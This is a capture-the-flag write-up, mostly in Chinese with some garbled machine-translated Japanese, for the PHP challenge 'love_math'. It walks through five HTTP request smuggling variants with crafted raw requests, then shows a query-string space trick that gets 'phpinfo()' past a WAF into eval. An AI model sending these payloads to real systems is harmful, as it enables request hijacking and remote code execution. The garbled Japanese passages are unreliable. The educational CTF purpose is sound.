0x01のタイトル説明
全国大会のようなビット、上記のように開き、タイトルlove_math
F12ソースを表示
暗示wafやcalc.phpウェブページは、のは、ものを見るためにページを開いてみましょう
、我々はいくつかの特殊文字からフィルタを見ることができる、オープンソースを直接与えられ、そしてeval実行し、当社コマンド、以前についての考え方はwaf、のは、一部の文字を試す合格してみましょう、そう単純にはできません。
私は文字を渡すときに、waf私たちの要求を傍受
トピック突破口：
- 入ってくる数字と演算子だけは、（WAFバイパスへの道を考える）文字を渡すことはできません
0x02のHTTP密輸攻撃
1、なぜ抜け穴を密輸しています
サーバのフロントエンド(CDN)とバックエンドサーバーがデータを受信することにより、この脆弱性をもたらす、データの矛盾が着信クライアントを理解引き起こし、同期していません。
ほとんどがHTTP要求密輸脆弱性のために発生HTTP：仕様が要求された終了位置を指定するには、2つの異なる方法を提供Content-LengthヘッダおよびTransfer-Encodingヘッダ。
二つの異なる方法を使用して同時に、Content-Length無効です。複数のサーバを使用する場合は、一貫性のない理解、一部のサーバーがあるだろうときにクライアントに渡されたデータは思うContent-Lengthの長さは、いくつかのために、有効でTransfer-Encoding効果的です。通常の状況下では、ソース局サーバの後端部との間のリバースプロキシサーバーは、再利用TCPリンク。そのような余分な長さは、次の要求にスプライスされ、それによって、結果として要求であるHTTP要求密輸の脆弱性。
2、HTTPリクエストの密輸攻撃5つの方法
（1）CLが0ではありません
所有不携带请求体的HTTP请求都有可能受此影响。这里用GET请求举例。
前端代理服务器允许GET请求携带请求体；后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的Content-Length头，不进行处理。这就有可能导致请求走私。
构造请求示例：
GET / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 44\r\n
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
\r\n
\r\n是换行的意思，windows的换行是\r\n，unix的是\n，mac的是\r
攻击流程：
前端服务器收到该请求，读取Content-Length，判断这是一个完整的请求。
然后转发给后端服务器，后端服务器收到后，因为它不对Content-Length进行处理，由于Pipeline的存在，后端服务器就认为这是收到了两个请求，分别是：
第一个：
GET / HTTP/1.1\r\n
Host: test.com\r\n
第二个：
GET / secret HTTP/1.1\r\n
Host: test.com\r\n
所以造成了请求走私。
（2）CL-CL
有些服务器不会严格的实现该规范，假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误。
但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
12345\r\n
a
攻击流程：
中间代理服务器获取到的数据包的长度为8，将上述整个数据包原封不动的转发给后端的源站服务器。
而后端服务器获取到的数据包长度为7。当读取完前7个字符后，后端服务器认为已经读取完毕，然后生成对应的响应，发送出去。而此时的缓冲区去还剩余一个字母a，对于后端服务器来说，这个a是下一个请求的一部分，但是还没有传输完毕。
如果此时有一个其他的正常用户对服务器进行了请求：
GET /index.html HTTP/1.1\r\n
Host: test.com\r\n
因为代理服务器与源站服务器之间一般会重用TCP连接。所以正常用户的请求就拼接到了字母a的后面，当后端服务器接收完毕后，它实际处理的请求其实是：
aGET /index.html HTTP/1.1\r\n
Host: test.com\r\n
这时，用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击，而且还对正常用户的行为造成了影响，而且还可以扩展成类似于CSRF的攻击方式。
但是一般的服务器都不会接受这种存在两个请求头的请求包。该怎么办呢？
所以想到前面所说的
RFC2616规范
如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时，在处理的时候必须忽略Content-Length。
所以请求包中同时包含这两个请求头并不算违规，服务器也不需要返回400错误。导致服务器在这里的实现更容易出问题。
（3）CL-TE
CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a
连续发送几次请求就可以获得响应。
攻击流程：
由于前端服务器处理Content-Length，所以这个请求对于它来说是一个完整的请求，请求体的长度为6，也就是
0\r\n
\r\n
a
当请求包经过代理服务器转发给后端服务器时，后端服务器处理Transfer-Encoding，当它读取到
0\r\n
\r\n
认为已经读取到结尾了。
但剩下的字母a就被留在了缓冲区中，等待下一次请求。当我们重复发送请求后，发送的请求在后端服务器拼接成了类似下面这种请求：
aPOST / HTTP/1.1\r\n
Host: test.com\r\n
......
服务器在解析时就会产生报错了，从而造成HTTP请求走私。
(4)TE-CL
TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding请求头，后端服务器处理Content-Length请求头。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取完毕了。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器处理Content-Length请求头，因为请求体的长度为4.也就是当它读取完
12\r\n
就认为这个请求已经结束了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
(5)TE-TE
TE-TE，当收到存在两个请求头的请求包时，前后端服务器都处理Transfer-Encoding请求头，确实是实现了RFC的标准。不过前后端服务器不是同一种。这就有了一种方法，我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作(如某个字符改变大小写)，从而使其中一个服务器不处理Transfer-Encoding请求头。在某种意义上这还是CL-TE或者TE-CL。
构造请求示例：
POST / HTTP/1.1\r\n
Host: test.com\r\n
......
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
攻击流程：
前端服务器处理Transfer-Encoding，当其读取到
0\r\n
\r\n
认为是读取结束。
此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器处理Transfer-encoding请求头，将Transfer-Encoding隐藏在服务端的一个chain中时，它将会回退到使用Content-Length去发送请求。读取到
5c\r\n
认为是读取完毕了。后面的数据就认为是另一个请求：
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
成功报错，造成HTTP请求走私。
0x03 HTTP请求走私实战
其它几种请求走私依旧可以，就不测试了。
可能用得到的几个函数
scandir()函数 返回指定目录中的文件和目录的数组。base_convert()函数 在任意进制之间转换数字，返回一个字符串dechex()函数：把十进制转换为十六进制。hex2bin()函数：把十六进制值的字符串转换为 ASCII 字符。readfile()この関数は
、ファイルを出力します。
この関数は、ファイルを読み取り、出力バッファに書き込まれます。成功した場合は、ファイルから読み込んだバイト数が返されます。失敗した場合は、falseが返されます。あなたはできる@readfile()エラーメッセージを非表示にする形で、この関数を呼び出します。
WAFバイパス0x04のPHP文字列解析特性
見つかった入力num数字のみ、文字を入力して解決することはできません。
ここでは、特性、PHPの文字列解析バイパスバイパスを利用することができます：PHPを解析文字列の使用は、バイパスを備え
たちができるので、numバイパスフロントプラススペースwaf
http://www.xxx.com/index.php? num=phpinfo()
0x05の参照リンク
https://xz.aliyun.com/t/6654#toc-1
https://www.freebuf.com/articles/web/213359.html
